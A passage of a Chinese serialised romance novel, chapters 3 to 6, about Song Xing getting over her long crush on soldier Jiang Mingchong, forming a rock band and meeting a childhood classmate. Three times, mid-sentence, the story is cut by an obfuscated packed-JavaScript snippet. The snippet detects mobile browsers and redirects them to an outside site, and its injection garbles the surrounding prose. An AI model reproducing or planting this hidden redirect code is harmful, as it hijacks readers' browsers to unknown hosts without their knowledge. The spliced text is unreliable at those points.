《等一颗星星》 3. 三颗星 指尖的香烟火星幽微。 九九有些错愕地看着目前仍能对姜明崇保持着正面评价的宋星。 宋星背靠车身，感受着九九的眼神，是觉得姜明崇其实是个还不错的人。 她没那么小气，就算已经不喜欢了她也还是很客观地承认这一点，姜明崇这人无论是长相，职业，家世，各种客观条件一直都是令人无法反驳的优越，还是就这次来讲，意外发生后，他的态度。 姜明崇事后说要“负责”，又几次三番联系她来找她，显然就是荒唐之后，他那个人从小到大过高的道德感和责任心在作祟。 她也不知道姜明崇是哪里来的一厢情愿的道德感责任心，她又不是什么哭着喊着需要负责的纯情小姑娘。 不过对于男人来讲这应该也不是什么缺点，尤其从姜明崇那晚还是第一次来讲就更能肯定这一点。 只是宋星知道这件事归根结底是他们价值观不匹配。 因为她的价值观是玩了就玩了做了就做了，甚至那晚她本来就是要去找人亲嘴的，只不过运气不好，搞到了姜明崇。 所以如果说从前只是单纯的觉得不再喜欢了的话，那么这次过后，宋星终于清楚地认识到，像从前姜明崇无数次跟她说过的“我们不合适”一样，他们确实不适合。 …… 宋星对姜明崇的爱慕很早就开始了。 早到大概还只是个小学生，刚刚朦胧意识到会对男孩子产生“喜欢”这种感觉的时候，宋星就意识到自己喜欢的人，是姜明崇。 小时候他们都一起住在同一条胡同里。 宋星和姜明枝是从幼儿园开始的同班同学兼好朋友，每天上学一起走放学一起玩，姜明崇是姜明枝的哥哥，自然而然地出现在她的生命里。 姜明崇大她们三岁，从小长得好看成绩又好是整个大院长辈口中“别人家的孩子”，而宋星天性散漫，整天疯玩经常早上梳好的小辫子不到中午就散开成了鸟窝头，是整个大院出了名的“小皮孩”。 然后宋星也不知道身为著名“小皮孩”的自己怎么就喜欢上了姜明崇。 大概是异极相吸的缘故，一个人身上越没有什么，就越容易被什么特质吸引。 所以姜明崇身上那种独属于“好孩子”的，她做不到的工整和严谨感，对她来说吸引力是致命的。 喜欢上姜明崇的宋星就好像被肉干逗走的小狗。 姜明崇去上补习班，她也跟着去，姜明崇不爱吃香菜，她也回家告诉家里不爱吃香菜，姜明崇在家里给姜明枝补习讲题，她更是死皮赖脸要参与。 姜明崇一开始大概也只是把宋星当个调皮一点的妹妹。 直到他在家给姜明枝补习，宋星也跑来要一起补，然后补习时发现宋星全程不看题，只看他。 小小一个小女孩，看他时眼睛里却冒着星星，怎么也挪不开。 那是姜明崇第一次拒绝宋星。 他拒绝的很委婉，告诉她你还小，上学最重要，谢谢你在班上对明枝的照顾，我把你跟明枝一样，当我妹妹。 宋星没想到自己的暗恋就这么轻而易举被姜明崇看了出来。 然后大概是实在太小了，她人生第一次听着姜明崇委婉的拒绝，眨巴眼睛并没有什么难过，甚至都还不知道失恋是什么，只是歪了歪脑袋，问他：“那你怎么才能也喜欢我呢？” 姜明崇看着几乎只有豆丁大的宋星语塞。 后来宋星也还是喜欢姜明崇，全然没受到被拒绝的影响。 一看到他就朝他跑过去，围在他身边一口一个叫哥哥，蹦蹦跳跳的样子永远比姜明枝对这个哥哥还亲昵。 姜明崇无奈也无计可施。 好在只是小孩子的喜欢，说不定就像喜欢某个玩具，等过段时间，自然也就腻了。 只是他那时似乎没有想到宋星的喜欢，会那么漫长。 长到几乎占据了他们整个青春。 小时候宋星只会小狗见了肉干似的往姜明崇那里跑，后来长大一点，又逐渐意识到更多。 姜明崇不喜欢她。 姜明崇其实对她也没有太犀利的拒绝，大概是天生的教养与得体让他无法把话对一个从小一起长大的小妹妹说的太狠，但宋星就是知道，姜明崇不喜欢她。 因为姜明崇的目光从来没有在她身上停留过，哪怕一秒。 而姜明崇不喜欢她，却偶尔会跟他班上学习成绩好，看起来温柔又文静，喜欢穿白色长裙子的女生多说两句话。 宋星试图把自己变成那个样子。 姜明崇喜欢女孩文静温婉，所以她买一柜子棉布白裙子，姜明崇不喜欢花花绿绿，所以她雷打不动黑长直，姜明崇是优秀干部风纪委员，所以她要当乖乖学生三好少女。 甚至姜明崇不喜欢人游手好闲，她毕业后就乖乖去上班朝九晚五。 只可惜世界上最不能强求，大概就是一个人的感情。 姜明崇还是不喜欢她，就算她已经尽可能把自己套进他会喜欢的那个框架里，他也还是，不喜欢她。 就好像不喜欢香菜，没什么理由，只是不喜欢而已。 宋星的最后一次尝试是在一年半以前。 姜明崇部队休假回b市，两人好长时间没见面了，她迫不及待去找他，去告诉他好消息。 她跟公司申请了居家办公，她可以跟他一起去西北了，就在他们驻地附近的小镇住着就好，能经常见面在一起。 姜明崇看着意外到来，又满脸欣喜跟他说这些安排的宋星。 她扬起的笑脸似乎跟很多年前，他发现姜明枝那个讲题时不看题，只顾着看他的好朋友还是一样。 只是漫长的沉默之后，是姜明崇说：“我说过，宋星，别等我。” “我们真的……不合适。” 宋星脸上笑容渐渐落了下来。 她“哦”了一声。 那天宋星回家时心里其实没有特别的感触。 反正姜明崇不喜欢她是早就知道，甚至人人都知道的事情，这样的拒绝对她而言，甚至都没有可以感到太多难过的。 她像往常一样洗漱，窝在新换的鹅绒被里舒舒服服睡了特别长特别沉的一觉，然后第二天醒来，是她的二十四岁生日。 手机里塞满了各种各样的祝福短信。 家人朋友连带着各大银行，宋星站在洗手台前一边刷牙一边回大家的祝福短信，然后抬头看到镜子里今天正式二十四岁的自己，那一刻她忽然发现，她好像，不喜欢姜明崇了。 喜欢是一种特别难以捉摸的情愫，大概就是那个人在哪儿，目光就会忍不住追随到哪，而不喜欢的感觉大概就是那个人在哪儿，那就在哪儿吧。 宋星意识到从她小时候认识姜明崇开始，到今天，竟然已经过了快二十年。 她用了那么多年的时光去追随着一个人在哪里，却好像已经很久没有像现在这样，认真看一看自己。 她明明不喜欢留这么长的头发，很难打理，不喜欢穿那么素那么长的裙子，夏天很热，更不喜欢坐在格子间里，每天对着电脑消磨人生，无休止的忙碌。 因为姜明崇，她越来越变得不像自己了。 那个从小就令家长头疼，远近闻名的顽皮，走在路上会双手抓着外套下摆顶到头顶上的自己。 宋星就在那一刻决定辞职。 她开始化妆染发抽烟，喝酒蹦迪夜不归宿，最快时男朋友换的比换衣服都勤，把从小到大不敢干不能干的事情全玩遍了，她本身明明就是这么一个人，就好像小时候表面上穿着姜明崇喜欢的白裙子，背地里也还是会偷偷逃课翻墙。 然后就这么玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098846|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好大半年后宋星又才觉得无聊，跟几个朋友组起了乐队。 “杀死玫瑰”这个名字就是在宋星改掉手臂上因为姜明崇纹的那朵玫瑰时取的。 今晚是杀死玫瑰在livehouse的第二次演出。 夜风依旧温柔吹拂，说话间，不远处身穿荧光马甲骑着电动小滑板车的代驾终于姗姗来迟。 宋星掐灭手中烟头，站直身对九九说：“走吧。” 九九：“噢，好。” …… 同样是夜，宁定西院，姜家。 今晚姜家四合院今晚似乎很是热闹，从姜家已经九十岁的老爷子开始，三代人齐聚一堂。 姜明崇回b市之后家里第一次正式聚会，姜老爷子虽然嘴上说着年轻人就该去艰苦的地方多呆几年，但如今孙子回到b市能够经常见到，眼里仍挡不住的高兴。 高兴起来就连一直以来看不太顺眼的孙女婿路谦都顺眼了不少。 姜明崇吃完饭在家里又待了一会儿，今晚还是要回单位。 因为部队纪律，单身干部如无特殊情况只能住营区，而营区虽说也在b市，但是在郊区，离宁定西院还是有一定车程。 姜夫人看着收拾收拾又准备回营区的儿子忍不住挽着丈夫胳膊叨叨了两声。 主要针对的还是姜明崇现在身份仍是“单身干部”。 现在人好不容易从西北回来了年纪也不小了是该考虑一下人生大事了，前几天让他去相亲相着相着就没了下文，人家那女孩子明明各方面条件都不错，就是按照他的喜好找的，大学英语老师人漂亮性子又文静，女孩对他也挺有意的，但姜明崇愣是要说不合适。 都二十八九了更小的妹妹都结婚了他这么多年身边连个对象的影子都不见，做父母的哪能不着急。 姜明崇听着母亲的抱怨只是手中动作顿了顿，没说什么。 姜明枝陪爷爷坐在沙发上一边啃苹果一边默默听姜明崇被催婚。 姜明崇只是兀自收拾好东西又看了眼时间跟家人道了告辞，姜明枝见姜明崇要走了，这才忙放下苹果跟过去，有话跟他说。 “什么事？” 院子里，姜明崇看到跟出来的姜明枝问。 “你今天下午是不是去找宋星了？”姜明枝开门见山。 听姜明枝提起“宋星”这个名字后姜明崇顿了一下，不知道她是怎么知道的：“嗯。” 姜明枝一脸果然如此我没猜错的表情。 然后她又想起宋星电话里ballball她让她转告姜明崇不要因为两人睡了一觉就一直抓着事情不放，抿了下嘴，说：“你们的事，宋星都告诉我了。” 对于姜明崇竟然也能做出酒后乱x这种事情姜明枝也是相当震惊，从小刻板正直根正苗红的人竟然干出这种事。 姜明崇看向姜明枝。 姜明枝又皱起眉：“所以你拒绝你那个相亲对象，也不去见其他的，是不是因为实际你还有宋星要负责？” 姜明崇闻言沉默几秒，反问：“怎么了。” 姜明枝听着莫名感到有些生气。 姜明崇从小一直不喜欢宋星她不生气，因为人的感情不能勉强，姜明崇也有自己的喜好，没有谁规定必须要喜欢谁，但姜明崇现在只是因为一场意外就转了态度，开始要对宋星“负责”要“在一起”，她是真的生气了。 如果这样就可以的话，那宋星从前那些付出和努力，算什么。 退一万步，宋星也怎么可能是只因为睡了一觉，就会需要人“负责”的人。 “姜明崇，”姜明枝看着姜明崇，冷了语调，她很少这么不叫“哥”而直接叫他名字，“都是成年人，每个人都有自己的处世准则，你有你的，宋星有宋星的，” “你要是不喜欢，就别再去缠着她了。” 4.四颗星 接下来半个月宋星发现姜明崇果然没有再来找她，微信电话也没有了。 得知是姜明枝跟姜明崇说过了，宋星千恩万谢又感激涕零地发过去好几个“明枝出马一个顶俩”“给您磕头.jpg”表情包。 姜明枝顺便问宋星乐队歌录的怎么样，要不要她帮忙发微博宣传一下。 宋星回不用，他们就在livehouse唱着玩玩哪用得着全平台粉丝过亿当红小花这种等级的宣传，有空过来听。 姜明枝自然答应。 宋星松了口气。 自从姜明崇不来烦她之后她有种生活终于清净回到正轨的感觉，除了吃饭睡觉外就是跟着队友一起写歌练歌唱歌。 宋星也没想到自己二十多岁了才玩起了乐队开始正儿八经唱歌。 她这人从小艺术天分不错，小学时随手涂鸦的画都拿了奖被送去新加坡参展，她爸作为美院院长本来想培养她当画家，结过果她正经学起画来在画架前根本坐不住，像小猴子一样浑身不是这里痒就是那里痒，东挠挠西挠挠注意力根本不在画画上，宋院院长瞧着从头到脚都透着顽皮的女儿，这才断了要让女儿子承父业的念头。 不用在绘画上有造诣的宋星只用好好读书，虽然调皮但架不住脑子聪明，小学时还不明显，初中开始不怎么爱听课都能每次次考试年级前五，高考考进T大学了计算机，因为姜明崇毕业后还老老实实去当了两年程序员。 过去的一切都跟唱歌没什么关系。 宋星是在偶然去了一次音乐节，看到台上乐队的表演觉得也挺有意思的，刚好那阵子玩够了无聊，便突发奇想自己能不能也组个乐队。 经过几次成员变动之后，乐队竟然真的组起来了。 宋星是主唱的位置。 她唱功其实严格说起来并不算多么优越，不是那种高音可以多少八度的机能型歌手，正儿八经给唱功打分的话估计只能打个八十分，但宋星唱歌的特点，在于她的音色和唱商。 音色是女声但不属于甜美那一挂，清澈有力很能入耳，最优的是唱商，无论是咬字断句还是对歌曲细节情感的处理都有一套套她自己独特的特点，唱起摇滚活力四射，唱起抒情也是细腻娓娓道来。 唱功音域可以挖掘，但音色和唱商要靠天分。 这也就是为什么有的歌手明明是公认的唱功优秀，但唱出的歌却总感觉缺少点魅力好像只会上高音，有的歌手可能硬性唱功不是那么拔尖，但是同样的歌在他嘴里唱出来就是更加吸引人，恨不得把所有好听的歌都在他嘴里过一遍。 宋星后知后觉发现自己的艺术天赋好像还包括挺会唱歌，并且唱歌更合她性子，不用一坐坐一天。 而大概是因为之前两场唱下来的效果不错，好些观众在社交平台上发了安利的帖子，四环路livehouse最近票卖的也快了很多，之前要打骨折的票现在打半折票就能卖出去了，实现了从亏损到轻微盈利的初步胜利，不用再倒给livehouse老板贴钱。 今晚唱完了依然有vip观众合影环节。 买vip票的人倒是依然不多，毕竟又不是什么知名乐队合影也不值钱，四人笑呵呵地欢迎着过来合影的vip观众，因为人少要聊天签名什么都可以，最后一个是个年轻的男观众。 宋星看到最后这位男观众长得好像还挺帅，两人眼神接触后她对着这位买vip票的观众笑了笑，直到男观众站过来合影时，叫了她一声：“宋星。” 宋星听到这男观众叫她本名时有些惊讶。 本来合影的也没几个人所以也没有工作人员催，年轻男人面对宋星，眼中带着些期盼说：“你……还记得我吗？” 宋星愣住了。 周围队友见这人过来不是合影而是跟宋星套近乎，跟着有些好奇瞧过来。 接着男人看到宋星满脸写着“我应该记得你吗”“你这人到底是谁”显然全不认识的样子，说了句：“好久不见，我是段斯冕。” 宋星：“……” 还是不认识，段斯冕是谁。 在她都开始怀疑这人难道是她之前哪个没来得及记住名字的前男友，段斯冕对着宋星意味着仍不记得的沉默，眼中划过点失落，然后又解释：“我们是小学同学。” “小学四年级，我转到三班，你是我小组长。” “我那时候老跟着你，段斯冕。” “噢~”宋星终于记起来了。 宋星记起小学四年级的时候他们班上有个转学生，名字好像就叫段什么，然后她对着眼前年轻的男人，记得当时那个转学生明明是个小胖子，现在怎么变成了眼前的大帅逼。 段斯冕见宋星终于记起，紧张缓下来，笑着说：“好久不见。” 宋星有些不敢认：“好久……不见。” “你变化好大。”宋星试图在男人脸上寻找当年记忆里小学生小胖子的痕迹。 “真的么？”段斯冕笑了笑，多年不见的小学同学见面，想请宋星去吃个夜宵。 宋星记得小时候自己和小胖子转学生玩得还挺好的，只不过他只在班里读了一年就跟家人一起移民到美国去了，不知道现在怎么回国了，今晚遇到也是缘分，见他请的挺诚恳，答应下来。 段斯冕本来想找个贵价的餐厅，说连宋星几个队友一起请，但九九阿墟大南显然没有凑这个热闹的意思主动告辞，宋星又非要选附近的大排档。 段斯冕拗不过，盛夏的大排档生意红火，烤串还在老板那里烤着，因为要开车不能喝酒，可乐先被送上来。 易拉罐拉开发出“嗞”的一声，光听这声音便清爽解暑。 宋星先喝了一口可乐，然后看着对面几乎已经跟小时候判若两人的人，问：“我记得你不是跟家里人移民了吗，什么时候回国的啊？” “你今天是碰巧买到我们乐队票的吗？这么巧” 段斯冕：“我上个星期刚回国，在国内没什么认识的朋友，b市的同学里只记得以前跟你关系好。” “想联系你，但你的q.q很多年都没登陆了我也联系不上，现在大数据时代，我就试着网上试着搜了一下你的名字，然后就出来了你们乐队和购票信息，真的是你。” 宋星：“……” 原来这样也可以。 他们小破乐队确实还有个百度百科，都是他们自己编辑的。而自己长相也没从小胖子变成小瘦子，就算妆浓了一点，能认出来不算稀奇。 听段斯冕说先是用q.q联系她的没联系上，宋星想起她小学时的q,q确实好多年前就被盗没用了，那个时候又还没有微信。 所以今晚，段斯冕应该不是意外偶遇，而是专门来找她跟她叙旧的。 刚开始已经都忘了，但是如今人活生生在你面前，小学四年级的事宋星还是想起了很多。 宋星记得段斯冕以前是个小胖子，个子也不高，还很爱哭鼻子。 因为胖，段斯冕转学到他们班上的时候班里同学大都不太愿意跟他玩，有几个恶劣的男同学甚至还故意欺负他。 她当时作为段斯冕的学习小组长看不下去，在几个男同学欺负段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105621|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯冕时给他出了头，自那之后段斯冕就自动成了她的跟班，成天跟着她，跟个小尾巴似的甩也甩不掉，直到一年后段斯冕又转学走。 宋星记得段斯冕那时说他要跟家里人移民的时候他眼圈红红好像很难过，还送给她一个水晶小兔子让她留作纪念，还说以后他们一定要经常q.q联系，即便不在同一个国家也要一直当好朋友。 宋星当时满口答应，见小胖子都快哭了心里也是很真诚这么想的，但后来还是很快就忘了。 因为小学生每天要面对的好玩的诱惑实在太多，生活充实忙碌根本没空去想一个可能此生再也见不到的朋友，她朋友也很多，少一个小跟班根本不受什么影响很快就被其他小伙伴填满，段斯冕给她的水晶小兔子她早都找不到了，q/q被盗后也再也不用。 所以对于宋星而言，段斯冕只是童年里一个很普通的，普通到她都快忘了的朋友。 但她对段斯冕而言好像要重要一些。 毕竟当年段斯冕那一年的转学生涯中的朋友好像只有她一个，如今回国甚至主动找过来叙旧，宋星瞧着眼前已经完全大变样的男人，最好奇道：“你是怎么瘦下来的？” 听到这里段斯冕拎着易拉罐埋头忍不住笑。 他笑完又认真答：“我小时候是因为生病吃激素药才胖了，后面不吃药了，也就慢慢瘦下去了。” “小时候胖的时候心里还是挺难过的。” “也是。”宋星点点头。 成年人之间大都会保持着基本的尊重与礼貌，但对小孩子来讲，确实会因为一个人的身材而释放最简单的恶意，童年胖胖的小孩子最容易受欺负。 “对了，那你这次回国干什么？探亲还是度假吗？”宋星又问。 段斯冕面对宋星：“嗯，我这次回国是为了工作。” 宋星：“工作？” “对，”段斯冕笑，“我现在在fi上班，算是外派到国内。” “那不错呀。”宋星点点头。Fi是国外一家很有名的科技公司，能进去的里面各个都是精英中的精英。 “你呢？”段斯冕问宋星。她虽然已经很换了衣服，但脸上妆还没卸，头发里闪烁着亮丝。 “你不是都在百科上看到了吗，”宋星一想起段斯冕说是怎么找到她的还是觉得简直人才，“没事搞搞乐队，唱唱歌。” “这样啊，”段斯冕，“我今晚听了你们的演出，你们的歌都是原创吗？写的很好唱的也很好，我特别喜欢。” “谢谢。”宋星笑笑。 烤好的烤串终于被端上来。 在开动前段斯冕又拿出手机，想要加一下联系方式。 宋星把微信给他。 两人一边吃一边说。 小学四年级的事宋星好多都记不得了但段斯冕好像还记得很多，宋星回忆起来发现那时候确实好像还挺有意思的，以及她小时候是真的很皮。 段斯冕被她出过头后每天给她当跟班，她也不客气，使唤起小跟班毫不手软。 吃他零食抄他作业让他帮她做值日，甚至打碎了玻璃也让他去顶罪。 毕竟老师见到一个只会哭鼻子的小胖子来承认错误心就软了，不会叫家长。 宋星听段斯冕说之前自己的事听的直乐，直到段斯冕说完了她以前打碎了玻璃怕被请家长让他去顶罪，又说：“我记得你那时最喜欢初中一个姓姜的学长，放学路上想吃垃圾食品又怕被他看到，每次都让我去给你望风他到了哪里。” 宋星笑容戛然而止： “……” 5.五颗星 宋星没想到段斯冕甚至都记得姜明崇。 事她倒是都忘了，但是从小严防死守姜明崇，怕被他看见她抄作业抽烟逃课翻墙没有当好学生的那种感觉还记得。 从小到大姜明崇对于她的震慑力，远高于家长和班主任。 原因不就是因为姜明崇是风纪委员好学生，她怕他看到她不是乖乖女之后就不喜欢她了。 其实宋星现在才觉得没必要。 反正姜明崇本来就不喜欢她，无论她做成哪样怎么做，他也还是不会喜欢她。 段斯冕发现宋星凝固的笑容。 他顿时有些紧张：“对不起，我是不是……说错了什么。” “没有没有。”宋星赶紧解释，“我只是没想到你记忆力这么好。” “那就好，”段斯冕松了口气，然后他看着宋星，有些谨慎道，“又又，我刚回国，这么多年国内变化好大，我在b市也没什么朋友，以后……可以常联系吗？” 宋星没想到段斯冕甚至记得她叫“又又”。 身边朋友大都直接把她叫“星星”，其实宋星有个更正儿八经的小名叫“宋又又”，一般只有很亲密的家人或者从小一起长大的朋友才知道。 段斯冕也是小时候听到她姥姥来接她放学时叫她“又又”才知道，还拖着鼻涕好奇问为什么同学都叫你“星星”，你姥姥叫你“又又”。 她听后弹了一下段斯冕的脑门说笨蛋宋又又才是我的小名，我姥姥当然要叫我又又。 只是现在，面对眼前男大十八变的男人，宋星觉得自己应该不好意思再弹他脑门叫他笨蛋了。 宋星没有对称呼在意什么，举起可乐跟段斯冕碰了一下：“好啊，常联系。” …… 郊区，陆军某旅。 刚结束完新兵夜间联合训练，最后一项是负重十公里越野。 刚入伍的新兵们在经历了各种训练后听到还要负重十公里叫苦不迭，好不容易跑下来，却看到同样跟他们一起经历今晚训练的男人气定神闲，甚至好像连喘都没怎么喘，全都忍不住咋舌。 有消息比较灵通的悄悄议论这位姜队之前可是从西北特战队过来的，年纪轻轻两杠两星，立过二等功，听说还参加过反恐。 管文成对姜明崇道了谢，今晚本来是他休息时间，麻烦他了。 管文成是新兵营的连长，对于这群一碰到难度高一点爬杆越野就只会“这怎么可能”的新兵蛋子恨铁不成钢，今晚便特意请了姜明崇过来示范，不是“这怎么可能”而是“就是这么可能”。 不过他本来只想让姜明崇示范其中几个项目，没想到姜明崇连最后的十公里越野也一起跟着跑了。 姜明崇对管文成说了句“不客气”。 管文成道完谢后又赶紧去集合新兵。 姜明崇看了眼时间，独自往宿舍楼走。 没有城市的光污染，郊区的夜空清朗，头顶星点闪烁。 姜明崇回宿舍后先冲了个澡。 干部宿舍楼都是单人间，独立卫浴，电视之类的家电也都齐全。 他习惯洗冷水，简单洗漱过后从浴室里出来，头发用毛巾擦到半干，一天快结束了，这才来得及看一看手机。 他们平常工作训练时都只能带军用手机，只有最简单的一些通话和信息发送功能，私人手机只能在休息时间拿出来。 姜明崇打开微信。 有几条无关痛痒的微信消息。 他都一一回了，接着打开发现那栏，看到朋友圈那里发布最新朋友圈的人的头像，是一张童年照。 照片上的女孩鹅黄色棉衣梳两个羊角辫，眉眼五官清秀可爱。 是宋星的童年照。 似乎是因为没再收到他的消息，事情已经翻篇，宋星把他从黑名单里放出来了。 姜明崇点开朋友圈。 是宋星在二十分钟前发布的一条视频，视频里她应该刚结束演出，肩膀上还挂着一把节奏吉他，跟队友一起站在并不大的舞台上向观众挥手致谢，台下都是观众的掌声和欢呼。 配文：“第四场，圆满成功！星星.jpg星星.jpg星星.jpg” 这条朋友圈下有两人共友姜明枝的点赞。 姜明崇静静看着姜明枝的头像，指腹来到同样给这条朋友圈点赞的那个选项上，犹豫半分钟后，却终究没有落下去。 姜明崇放下手机。 他望向窗外。 B市郊区的夜空其实和西北有些像，天空高阔辽远，只是没有西北那么多星星，有时还能看到银河。 姜明崇在西北待了六年。 军校的训练和西北实际的历练简直不值一提，他以为自己能够适应西北的辛苦，一开始，那些人仍叫他“少爷”。 即便他的职级在他们之上，他们仍这么叫。 一个洗澡要用热水，吃菜不吃香菜，洁癖天天都发作，大概率是被自己老子扔过来镀个金，过个一年半载立马就走的少爷。 那些话，他听在耳里，却没说什么。 因为他们说的甚至大部分都是实话，他以为自己足够刻苦，身上却还是带了天然的，与这里格格不入的习性。 所以他能做的，只有像断根一样抛开过去那些所有习性，日复一日，每个考核他都要拿第一，每次评级他都要评优秀，用自己的实际的成绩，让其他那些人闭嘴。 后来他甚至被选入特种部队。 他跟着连队一起出着各种大大小小出生入死的任务，亿万人的安宁平静是多少人在背后默默看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111530|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见的付出，当他在边界扣动扳机一枪打碎那些走私人体器官的恐怖分子脑袋的那一刻，当他跟在界线挑衅的外国侵略者近身肉搏的时候。姜明崇才恍然感受到，除开父辈的要求和展望，自己在这里，穿上这身衣服的本来意义。 六年的时间想家也不想家。 每年都会有探亲假，回到家里面对家人的询问，他答得都是现在条件很好，不用为我操心。 家人对于西北，除了父亲，大抵只是一些朦胧的想象。 姜明崇也没想到会在西北看到宋星。 他跟几个战友坐车去离驻地最近的小镇买些东西，刚刚下车，在镇上唯一的一家小卖部，宋星在那里等。 她灰头土脸，头上都是沙子，看到他时挥挥手，似乎本来是想笑，可是笑没笑出来，眼泪却先流了下来。 “好远啊。”宋星哭着跟他说。 那天的风是干燥的，夹杂着沙漠戈壁的尘土，吹在人脸上生疼。 姜明崇闭了闭眼。 回程的车上，战友笑着问他，从前怎么不知道你还有这份牵挂和念想。 他低了低眼，听着那些打趣，听见自己说：“是妹妹。” 只是妹妹。 姜明崇自认自己从小把宋星当妹妹。 宋星和姜明枝玩得好，小时候常在他们家，两人睡一个被窝。 姜明崇晚上把梦游走错路梦到他房间的宋星送出去过。 他明明从小对于宋星没有任何其他想法，他明明清楚他们之间有多不合适，后来却在她满身酒气，抱着他的脖子一下一下亲吻在他唇上的时候，姜明崇感到自己好像失控了。 失控之后，他想对自己的行为负责。 宋星却用了“神经病”“滚”这些字眼。 她有她自己的人生了，没有他的。 窗外开始响起新兵营区熄灯的号子。 姜明崇恍惚回神，目光再次落到手机上。 他看到母亲庄馨刚刚又发来消息，让他下周末再去见个女孩。 她朋友的朋友的女儿，总台记者。 附带一张挂着工作证的照片。 姜明崇看到这消息后皱了皱眉。 之前因为是临时通知让他去他不想放人鸽子还是去见了，这次姜明崇来得及回复母亲，他真的不想相亲也不会去相，很抱歉，但麻烦不要再在这些事上为他操心了。 庄馨收到这回复后显然有些生气。 明明都是按照姜明崇喜好找的，从小到大能跟他说上话的女生不都是那些类型，每个都跟他合适，漂亮又书卷气职业也登对，结果却要么是不合适要么直接不见。 庄馨： 【这也不合适那也不喜欢，】 【你到底喜欢什么样的？】 6.六颗星 宋星最近又收到姜明枝的信息。 是她常合作的视频平台有个综艺导演最近想搞个音乐节目，主要是二十四个乐队在音乐上的角逐比拼，问她有没有兴趣。 有兴趣的话她直接把他们的乐队的歌和表演视频用微信给导演组推过去，不用再走邮箱投稿海选的路子。 宋星没想到自己这乐队路好像都走上正轨，姜明枝都开始问她要不要参加节目了。 然后她看到后有些拿不定主意。 毕竟他们乐队刚成立没多久，主要是几个年轻人志同道合凑在一起玩玩音乐，实际来说无论从作品还是表演风格上其实都还很稚嫩，卖打折票唱唱两百人场子的livehouse也就差不多了，要站上更大舞台甚至还要跟其他更成熟的乐队竞演，这种事情大家其实还都没想过，也不够有底气。 杀死玫瑰四个人也没有谁是队长，几个人听到宋星带来的消息后都差不多是一样的想法，都带着种跃跃欲试的犹豫与纠结，又想上节目万一走狗屎运红了呢，又觉得以他们现在的水平要上节目还是算了吧，上了可能会丢人。 姜明枝似乎看出宋星的纠结，忍不住： 【那个，我只是用微信给你们内推一下发一下履历】 【没有说要给你们走后门一定会通过海选】 【小孩无助搓手.jpg】 宋星：“……” 她这才意识到只是海选。 毕竟只是海选，如果不能通过说明他们确实还不行，如果能通过，那导演组都敢通过了他们为什么不敢上。 决定交给导演组好了。 于是几个人一商量，怀着紧张的心情拜托姜明枝把他们的歌和表演视频给节目导演组发了过去。 海选进展也没那么快，距离结果出来还有一段时间。 而自从上次在livehouse里一年小学同学重逢过后，段斯冕的消息也多了起来。 十几年没回国，很多现在国内年轻人熟悉的功能比如咖啡店提前线上点单这些，段斯冕都不太会用。 宋星偶尔会收到段斯冕请教她“高科技”的消息。 宋星也都很耐心的解答教他怎么用，教了几次段斯冕要请他吃饭。 这周末段斯冕也请吃饭，不过宋星没空。 杀死玫瑰这周也不演出，四环路livehouse这周被另一个乐队定了，宋星回去看姥姥姥爷。 她从小基本是被姥姥姥爷带大，刚上小学时因为姥姥姥爷家离子弟小学更近所以她就经常住在这里，后来宋星九岁时父母离婚，她便更是直接在姥姥姥爷家住下。 现在宋星一个人住在三环路的平层里，但基本有空就会回来看看姥姥姥爷。 今天的四合院因为孙女回来了似乎格外热闹。 保姆烧的都是宋星爱吃的菜，宋星吃完饭跟姥爷在书房里练字。 已逾古稀之年的老人下笔仍遒劲有力行云流水，每一笔都力透纸背。 宋星姥爷是书法家，字的价格一直是国内当代书法家顶尖行列，经常也有很多人来请他题字。 宋星托下巴一边打着哈欠一边看，直到她妈妈又打了个电话过来。 宋星妈林女士平时一直忙着做生意全球到处飞，知道女儿今天回家看姥姥姥爷，特意打视频电话回来问问。 宋星懒洋洋在电话里跟她妈说她最近很好，她在乐队唱歌每天开心着呢，信用卡额度够多了不用再老往她卡里打钱，她也没什么物欲不爱买奢侈品，花不完根本花不完。 林女士看着视频电话里自述生活舒坦一派悠闲的女儿，忽然问了句：“对了，我听谁说姜明崇最近从西北调回b市了，你就没什么反应？还稳得住吗？” 宋星：“……” 然后即便没有发出其他声响，宋星也能感受到随着她妈的话落，姥姥姥爷的耳朵也竖了起来。 宋星从小喜欢姜明崇是家里上至爷爷奶奶姥姥姥爷，下至她爸她妈都知道的事。 只是宋星家里氛围一直很自由开放，并不认为女儿喜欢一个男孩是一件什么需要严防死守的事，喜欢一个人跟好好学习生活并不冲突，这么多年对她的唯一要求，也就是高考志愿不许一头热跟着姜明崇填去他的城市。 